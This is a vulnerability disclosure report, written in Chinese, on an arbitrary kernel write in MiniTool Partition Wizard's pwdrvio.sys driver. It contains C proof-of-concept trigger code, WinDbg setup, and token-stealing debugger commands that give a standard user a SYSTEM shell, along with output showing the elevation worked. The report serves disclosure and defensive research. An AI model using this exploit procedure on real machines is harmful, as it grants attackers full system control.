项目日期：2026年2月 / MiniTool 内核驱动程序中的内存损坏漏洞。演示了一种借助调试器实现的任意内核写入原语，可用于权限提升。
MiniTool 的 pwdrvio.sys 内核驱动中存在内核写-写-何处（write-what-where）条件。演示了一种借助调试器实现的任意内核写入原语，可用于权限提升。
https://github.com/user-attachments/assets/ac81d7ce-0be7-40a5-9334-c54350e6e30e
任意内核写入 → 本地权限提升（LPE）
严重性： 高
CVSS 3.1 评分： 7.8（LPE）
CVSS 向量字符串：
LPE：CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
攻击前提条件：
利用结果： LPE - 已演示借助调试器实现的权限提升（NT AUTHORITY / SYSTEM），实现完全系统入侵
日期： 2026 年 2 月 5 日
活动： 使用自定义 Python 模糊测试器对内核驱动进行系统性模糊测试
发现过程：
目标选择：
pwdrvio.sys 识别为最旧的驱动（时间戳：2009 年 6 月 16 日）C:\Windows\System32\drivers\pwdrvio.sys\\.\PartitionWizardDiskAccesser\0初始模糊测试：
ctypes 开发 Python 模糊测试器以与驱动交互WriteFile/DeviceIoControl 向驱动设备发送随机数据验证程序激活：
验证器配置： ```
Verifier Flags: 0x001209bb
Standard Flags Enabled:
[X] Special pool
[X] Force IRQL checking
[X] Pool tracking
[X] I/O verification
[X] Deadlock detection
[X] DMA checking
[X] Security checks
[X] Miscellaneous checks
[X] DDI compliance checking
### WinDbg 内核调试设置
**日期：** 2026年2月5日至6日
**活动：** 建立内核调试环境以进行根本原因分析
**设置步骤：**
1. **VMware 串行端口配置：** ```
VMware Workstation Pro → VM Settings
├─ Add Hardware → Serial Port
├─ Connection: "Use named pipe"
├─ Path: \\.\pipe\com_1
├─ End: "This is the server"
└─ I/O Mode: "Yield CPU on poll" ✓
客户机操作系统配置： ```cmd REM Administrator Command Prompt bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200 shutdown /r /t 0
主机 WinDbg 连接： ``` WinDbg → File → Attach to Kernel ├─ Port: \.\pipe\com_1 ├─ Baud Rate: 115200 ├─ Pipe: ✓ └─ Reconnect: ✓
Result: "Kernel Debugger connection established."
日期： 2026年2月6日
活动： 识别出任意内核写入原语
分析步骤：
模块分析： ```
1: kd> lm m pwdrvio
start end module name
fffff805315f0000 fffff805315f8000 pwdrvio (Jun 16 2009)
1: kd> !drvobj pwdrvio 2 Driver object (fffff805`XXXXXXXX) is for: \Driver\pwdrvio
DriverEntry: fffff805315f6008 DriverUnload: fffff805315f1060
Dispatch Routines:
[00] IRP_MJ_CREATE fffff805315f108c [02] IRP_MJ_CLOSE fffff805315f12f8
[03] IRP_MJ_READ fffff805315f16c4 [04] IRP_MJ_WRITE fffff805315f1564 ← Target
[0e] IRP_MJ_DEVICE_CONTROL fffff805`315f1404
易受攻击指令发现：
在写入处理器上设置断点： ``` 1: kd> bp pwdrvio+0x1641 1: kd> g
Breakpoint 0 hit pwdrvio+0x1641: fffff805`315f1641 498943f0 mov qword ptr [r11-10h],rax
关键发现： 已识别出任意写入原语！
RAX）写入地址 [R11-0x10]R11 从栈帧加载：mov r11, qword ptr [rbp+0xB8h]寄存器状态分析： ``` 0: kd> r rax=fffff805315f1364 ← Kernel code pointer r11=ffffe60f84c38750 ← Destination address (controlled via stack) rbp=ffffe60f84c38610 ← IRP stack frame
0: kd> dq @rbp+0xB8 L1
ffffe60f84c386c8 ffffe60f84c38750 ← R11 loaded from here
日期： 2026年2月6-7日
活动： 从释放后使用追踪漏洞到写-写-何处条件
内存破坏链：
IRP 分配： ``` 0: kd> !pool @rbp Pool page ffffe60f84c38610 region is Special pool *ffffe60f84c38000 size: 1f0 data: ffffe60f84c38e10 (NonPaged) *Irp+ Pooltag Irp+ : I/O verifier allocated IRP packets
缓冲区关系： ``` 0: kd> r rsi rsi=ffffe60f828df900 ← User buffer location
0: kd> ? @rbp - @rsi Evaluate expression: 35823344 = 00000000`02229ef0 ← 35MB difference!
分析： 用户缓冲区无法直接从 RBP 帧访问
RBP+0xB8 偏移量不指向用户可控缓冲区释放后使用（Use-After-Free）条件：
驱动程序在 IRP 结构中维护悬空指针： ```c // Ghidra decompilation (pwdrvio+0x1564) longlong lVar1 = *(longlong *)(param_2 + 0xb8); // Load from IRP
// No validation! lVar5 = IoBuildAsynchronousFsdRequest(...);
// Write to [lVar1 - 0x10] *(code **)(lVar3 + -0x10) = FUN_00011364; // Arbitrary write!
日期： 2026年2月7日至8日
活动： 开发令牌窃取技术
利用策略：
目标： 用SYSTEM令牌覆盖当前进程令牌
Windows EPROCESS结构：``` +0x000 Pcb : _KPROCESS ... +0x4b8 Token : _EX_FAST_REF ← Token pointer location
**令牌窃取流程：**
1. **定位 SYSTEM 进程：** ```
0: kd> !process 4 0
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
定位攻击者进程： ``` 0: kd> !process 0 0 poc1.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Image: poc1.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Standard user token
计算目标地址： ``` Target = TokenPointer + 0x10 = 0xffffe78760150538 + 0x10 = 0xffffe78760150548
Reason: Instruction uses [R11-0x10], so: (Target + 0x10) - 0x10 = Target
执行令牌覆盖： ``` 0: kd> r rax = ffffc08e6642f04f ; SYSTEM token 0: kd> r r11 = ffffe78760150548 ; Target address 0: kd> p ; Execute: mov [r11-10h],rax
0: kd> dq ffffe78760150538 L1 ; Verify
ffffe78760150538 ffffc08e6642f04f ← Token successfully changed!
恢复执行： ``` 0: kd> r rip = pwdrvio + 165f ; Skip to safe return 0: kd> r eax = 0 ; Return success 0: kd> bc * ; Clear breakpoints 0: kd> g ; Continue execution
结果： 进程现在拥有 SYSTEM 权限！
位置： pwdrvio.sys 偏移量 0x1641
汇编代码：```assembly
pwdrvio+0x1633: mov r11, qword ptr [rbp+0xB8h] ; Load pointer from IRP
pwdrvio+0x1641: mov qword ptr [r11-10h], rax ; Arbitrary write!
**触发机制：**```c
HANDLE hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
char buffer[0x100];
DWORD bytesReturned;
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
利用限制：
该漏洞需要内核调试工具才能可靠利用，原因如下：
寄存器控制挑战：
R11 从 [RBP+0xB8] 加载RBP 指向内核池中的 IRP 栈帧[RBP+0xB8]池内存布局： ``` RBP (IRP frame): 0xffffe60f84c38610 User buffer: 0xffffe60f828df900 Difference: 35,823,344 bytes (35 MB)
需要手动干预：
R11 寄存器设置为目标地址RAX 寄存器设置为 SYSTEM 令牌值指标：
代码：``` C #include <windows.h> #include <stdio.h>
int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];
printf("[*] MiniTool PoC Trigger...\n");
printf("[*] Current User: "); system("whoami");
// 1. Connect to the Driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Cannot Open Driver! Error: %d\n", GetLastError());
return 1;
}
printf("[+] Connected. WinDbg - BP 1641.\n");
printf("[!] WinDbg - Token Change - 'g'.\n");
getchar(); // Breakpoint of WinDbg
// 2. Trigger the Vulnerability (Sending Random Data to Driver)
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
printf("[*] Completed. SYSTEM Shell Opening...\n");
// 3. If we token is changed - SYSTEM Shell
system("whoami && cmd.exe");
return 0;
}
**如何编译：**
* 在 Linux 上使用 MinGW```
┌──(PC㉿PC)-[/dir]
└─$ x86_64-w64-mingw32-gcc LPE_PoC.c -o LPE_PoC.exe -lntdll -static
WinDbg 进程：
1: kd> dq ffff9d8f6401f080+4b8 L1
ffff9d8f6401f538 ffffc20940117738
1: kd> dq ffff9d8f6401f538 L1
ffff9d8f6401f538 ffffc20940117738
1: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffff9d8f5f069040
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffc2093447ac40 HandleCount: 2517.
Image: System
1: kd> dq ffff9d8f5f069040+4b8 L1
ffff9d8f5f0694f8 ffffc2093441d8df
1: kd> r rax = ffffc2093441d8df
1: kd> r r11 = ffff9d8f6401f538 + 10
1: kd> p
pwdrvio+0x1645:
fffff805315f1645 488d442440 lea rax,[rsp+40h] 1: kd> dq ffff9d8f6401f538 L1 ffff9d8f6401f538 ffffc209`3441d8df
1: kd> r rip = pwdrvio + 0x165f
1: kd> r eax = 0
1: kd> bc *
1: kd> g
**终端输出：**``` PowerShell
PS C:\Users\standarduser\directory> whoami # Standard User Identification
PC\standarduser
PS C:\Users\standarduser\directory> whoami /priv # Standard User Privs
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ================================== ========
SeShutdownPrivilege Sistemi kapat Disabled
SeChangeNotifyPrivilege Çapraz geçiş denetimini atla Enabled
SeUndockPrivilege Bilgisayarı takma biriminden çıkar Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır Disabled
SeTimeZonePrivilege Saat dilimini değiştir Disabled
PS C:\Users\standarduser\directory> whoami /groups # Standard User Groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================================= ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap ve Administrators grubunun üyesi Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
KONSOL OTURUMU AÇMA Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Yerel hesap Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Orta Zorunlu Düzey Label S-1-16-8192
PS C:\Users\standarduser\directory>
PS C:\Users\standarduser\directory> .\poc1.exe # PoC Execution
[*] MiniTool PoC Tetikleyici Baslatiliyor...
[*] Mevcut Kullanici: desktop-usp1rvs\kali
[+] Surucu baglantisi basarili. WinDbg'da BP 1641 bekleyin.
[!] WinDbg'da Token'i degistirdikten sonra 'g' deyin.
[*] Islem tamamlandi. SYSTEM Shell acilmaya calisiliyor...
nt authority\system
Microsoft Windows [Version 10.0.19045.3803]
(c) Microsoft Corporation. Tüm hakları saklıdır.
C:\Users\standarduser\directory>whoami # Elevated User Identification
nt authority\system
C:\Users\standarduser\directory>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= =============================================================================== ========
SeCreateTokenPrivilege Belirteç nesnesi oluştur Disabled
SeAssignPrimaryTokenPrivilege İşlem düzeyi belirtecini değiştir Disabled
SeLockMemoryPrivilege Sayfaları bellekte kilitle Enabled
SeIncreaseQuotaPrivilege İşlem için bellek kotaları ayarla Disabled
SeTcbPrivilege İşletim sisteminin parçası gibi davran Enabled
SeSecurityPrivilege Denetimi ve güvenlik günlüğünü yönet Disabled
SeTakeOwnershipPrivilege Dosyaların veya diğer nesnelerin sahipliğini al Disabled
SeLoadDriverPrivilege Aygıt sürücüleri yükle ve kaldır Disabled
SeSystemProfilePrivilege Sistem performansı profili oluştur Enabled
SeSystemtimePrivilege Sistem saatini değiştir Disabled
SeProfileSingleProcessPrivilege Tek işlem profili oluştur Enabled
SeIncreaseBasePriorityPrivilege Zamanlama önceliğini artır Enabled
SeCreatePagefilePrivilege Disk belleği dosyası oluştur Enabled
SeCreatePermanentPrivilege Kalıcı paylaşılan nesneler oluştur Enabled
SeBackupPrivilege Dosya ve dizinleri yedekle Disabled
SeRestorePrivilege Dosya ve dizinleri geri yükle Disabled
SeShutdownPrivilege Sistemi kapat Disabled
SeDebugPrivilege Programların hatalarını ayıkla Enabled
SeAuditPrivilege Güvenlik denetimleri oluştur Enabled
SeSystemEnvironmentPrivilege Üretici yazılımı ortam değerlerini değiştir Disabled
SeChangeNotifyPrivilege Çapraz geçiş denetimini atla Enabled
SeUndockPrivilege Bilgisayarı takma biriminden çıkar Disabled
SeManageVolumePrivilege Birim bakım görevleri gerçekleştir Disabled
SeImpersonatePrivilege Kimlik doğrulamasından sonra istemcinin özelliklerini al Enabled
SeCreateGlobalPrivilege Genel nesneler oluştur Enabled
SeTrustedCredManAccessPrivilege Kimlik Bilgileri Yöneticisi'ne güvenilen arayan olarak eriş Disabled
SeRelabelPrivilege Nesne etiketini değiştir Disabled
SeIncreaseWorkingSetPrivilege İşlem çalışma kümesini artır Enabled
SeTimeZonePrivilege Saat dilimini değiştir Enabled
SeCreateSymbolicLinkPrivilege Simgesel bağlantılar oluştur Enabled
SeDelegateSessionUserImpersonatePrivilege Aynı oturumdaki farklı bir kullanıcı için bir kimliğe bürünme belirteci edinin. Enabled
C:\Users\standarduser\directory>whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ ==================================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
Zorunlu Etiket\Sistem Zorunlu Düzeyi Label S-1-16-16384
测试环境：
所需工具：
步骤 1：搭建内核调试环境
A. VMware 配置
\\.\pipe\com_1B. 客户机操作系统配置```cmd REM Administrator Command Prompt in VM C:> bcdedit /debug on The operation completed successfully.
C:> bcdedit /dbgsettings serial debugport:1 baudrate:115200 The operation completed successfully.
C:> bcdedit /dbgsettings debugtype Serial debugport 1 baudrate 115200
C:> shutdown /r /t 0
**C. 主机 WinDbg 设置**
1. 打开 WinDbg（x64）
2. 文件 → 内核调试（Ctrl+K）
3. 配置：
- 选项卡：COM
- 端口：`\\.\pipe\com_1`
- 波特率：115200
- ✓ 管道
- ✓ 重新连接
4. 单击“确定”
等待连接消息：```
Opened \\.\pipe\com_1
Waiting to reconnect...
Connected to Windows 10 19041 x64 target
Kernel Debugger connection established.
1: kd>
步骤 2：编译概念验证
保存为 lpe_poc.c：```c
#include <windows.h>
#include <stdio.h>
int main() { HANDLE hDevice; DWORD bytesReturned; char buffer[0x100];
printf("[*] MiniTool pwdrvio.sys LPE PoC\n");
printf("[*] Current user: ");
system("whoami");
// Open driver
hDevice = CreateFileA("\\\\.\\PartitionWizardDiskAccesser\\0",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Failed to open driver (Error: %d)\n", GetLastError());
return 1;
}
printf("[+] Driver opened successfully\n");
printf("[!] Waiting for WinDbg manipulation...\n");
printf("[!] Set breakpoint: bp pwdrvio+0x1641\n");
printf("[!] Press ENTER when ready...\n");
getchar(); // Wait for WinDbg setup
// Trigger vulnerability
WriteFile(hDevice, buffer, 0x100, &bytesReturned, NULL);
printf("[*] Exploitation complete\n");
printf("[*] Spawning SYSTEM shell...\n");
// If successful, this CMD will have SYSTEM privileges
system("whoami && cmd.exe");
CloseHandle(hDevice);
return 0;
}
**在 Linux/WSL 上编译：**```bash
x86_64-w64-mingw32-gcc lpe_poc.c -o lpe_poc.exe -lntdll -static
步骤 3：执行漏洞利用
A. 在虚拟机中启动 PoC（标准用户）```cmd C:> whoami desktop-lfkkhu2\standard_user
C:> whoami /priv
Privilege Name Description State ============================= ================================== ======== SeShutdownPrivilege Shut down the system Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeUndockPrivilege Remove computer from docking Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled
[Limited privileges - no SeDebugPrivilege]
C:> lpe_poc.exe [] MiniTool pwdrvio.sys LPE PoC [] Current user: desktop-lfkkhu2\standard_user [+] Driver opened successfully [!] Waiting for WinDbg manipulation... [!] Set breakpoint: bp pwdrvio+0x1641 [!] Press ENTER when ready...
[WAIT - Do not press ENTER yet]
**B. WinDbg 设置与操作**```
1: kd> bp pwdrvio+0x1641
1: kd> g
现在在 PoC 中按 ENTER 键。WinDbg 将中断：``` Breakpoint 0 hit pwdrvio+0x1641: fffff802`18b11641 498943f0 mov qword ptr [r11-10h],rax
0: kd> r rax=fffff80218b11364 rbx=0000000000000000 rcx=ffffe78761218e20 rdx=ffffe7875ff72e10 rsi=ffffe7875dd48f20 rdi=0000000000000000 rip=fffff80218b11641 rsp=ffff9f801c707100 rbp=ffffe7875ff72e10 r8=0000000000000001 r9=0000000000000000 r10=0000000000000000 r11=ffffe7875ff72f70 r12=0000000000000001 r13=ffffdf0a0c48ecd0 r14=0000000000000000 r15=ffffe78761218e20
**C. 定位 SYSTEM 进程和令牌**```
0: kd> !process 4 0
Searching for Process with Cid == 4
PROCESS ffffe7875ac86200
SessionId: none Cid: 0004 Peb: 00000000 ParentCid: 0000
DirBase: 001aa000 ObjectTable: ffffc08e66444c80 HandleCount: 2471
Image: System
0: kd> dq ffffe7875ac86200+4b8 L1
ffffe787`5ac866b8 ffffc08e`6642f04f ← SYSTEM token value
D. 定位攻击者进程``` 0: kd> !process 0 0 lpe_poc.exe PROCESS ffffe78760150080 SessionId: 1 Cid: 0678 Peb: a520317000 ParentCid: 14b8 DirBase: 402a29000 ObjectTable: ffffc08e6beb0780 HandleCount: 58 Image: lpe_poc.exe
0: kd> dq ffffe78760150080+4b8 L1
ffffe78760150538 ffffc08e6c37a066 ← Current token (standard user)
**E. 执行令牌覆盖**```
0: kd> r rax = ffffc08e6642f04f
0: kd> r r11 = ffffe78760150538 + 10
0: kd> r r11
r11=ffffe78760150548
0: kd> p
pwdrvio+0x1645:
fffff802`18b11645 488d442440 lea rax,[rsp+40h]
0: kd> dq ffffe78760150538 L1
ffffe787`60150538 ffffc08e`6642f04f ← Token successfully changed!
F. 恢复执行``` 0: kd> r rip = pwdrvio + 165f 0: kd> r eax = 0 0: kd> bc * 0: kd> g
**C. 验证虚拟机中的权限提升**```
[*] Exploitation complete
[*] Spawning SYSTEM shell...
nt authority\system
Microsoft Windows [Version 10.0.19045.6466]
C:\> whoami
nt authority\system
C:\> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
========================================= ==================================== ========
SeCreateTokenPrivilege Create a token object Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files/objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilege Profile single process Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
SeBackupPrivilege Back up files and directories Disabled
SeRestorePrivilege Restore files and directories Disabled
SeShutdownPrivilege Shut down the system Disabled
SeDebugPrivilege Debug programs Enabled ← SYSTEM!
SeAuditPrivilege Generate security audits Enabled
SeSystemEnvironmentPrivilege Modify firmware environment values Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking Disabled
SeManageVolumePrivilege Perform volume maintenance tasks Disabled
SeImpersonatePrivilege Impersonate a client after auth Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as trusted Disabled
SeRelabelPrivilege Modify an object label Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
SeTimeZonePrivilege Change the time zone Enabled
SeCreateSymbolicLinkPrivilege Create symbolic links Enabled
SeDelegateSessionUserImpersonatePrivilege Impersonate other session users Enabled
C:\> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
==================================== ================ ============ =======================================
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled, Owner
Everyone Well-known group S-1-1-0 Mandatory, Enabled by default, Enabled
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory, Enabled by default, Enabled
Mandatory Label\System Mandatory Level Label S-1-16-16384 ← SYSTEM integrity!
MiniTool 软件：``` Product: MiniTool Partition Wizard Version: 13.5 Installation Path: C:\Program Files\MiniTool Partition Wizard Driver Path: C:\Windows\System32\drivers\pwdrvio.sys Driver Date: June 16, 2009 (0x4A36F8D1) Driver Size: 32,256 bytes
**测试工具：**```
WinDbg Version: 10.0.29507.1001 AMD64
Python Version: 3.x with ctypes
Compiler: x86_64-w64-mingw32-gcc (MinGW)
Verifier: Windows Driver Verifier (Standard flags)
主要产品：
驱动程序详情：``` File Name: pwdrvio.sys File Version: [Not available] File Size: 32,256 bytes (31.5 KB) Time Stamp: 0x4A36F8D1 (June 16, 2009, 04:43:45 UTC) Digital Signature: [Signed by vendor] Device Name: \.\PartitionWizardDiskAccesser\0 Service Name: pwdrvio Load Order: Boot Start (SERVICE_BOOT_START)
### 可能受影响的产品
其他可能使用相同驱动程序的 MiniTool 产品：
- MiniTool Power Data Recovery
- MiniTool Partition Wizard 可启动版
- MiniTool ShadowMaker
**注意：** 每个产品应单独测试以确认是否受影响。
### 操作系统兼容性
**已测试并确认存在漏洞：**
- Windows 10 家庭版 Build 19045.6466 (x64)
**原因：** 该驱动程序兼容所有现代 Windows 版本，且不包含任何版本特定的检查。
## 法律免责声明
本仓库仅用于教育、防御性安全研究以及在受控实验室环境中复现漏洞之目的。
所提供的信息和概念验证代码旨在帮助防御者、研究人员和供应商理解并修复所报告的漏洞。
未经明确许可，针对系统使用本代码进行未经授权或恶意操作可能违反适用的法律法规。
作者不鼓励或纵容任何非法活动，且不对因使用本材料造成的滥用或损害承担任何责任。
本漏洞披露报告提供的目的如下：
1. 安全研究与教育
2. 供应商通知与补丁开发
3. 保护最终用户
4. 学术与防御性安全用途
**禁止用途：**
- 未经授权访问计算机系统
- 恶意利用
- 任何非法活动
研究人员仅在受控环境中对个人拥有的系统进行了所有测试。未对第三方系统执行任何未经授权的访问。
**报告版本：** 1.0
**最后更新：** 2026年2月9日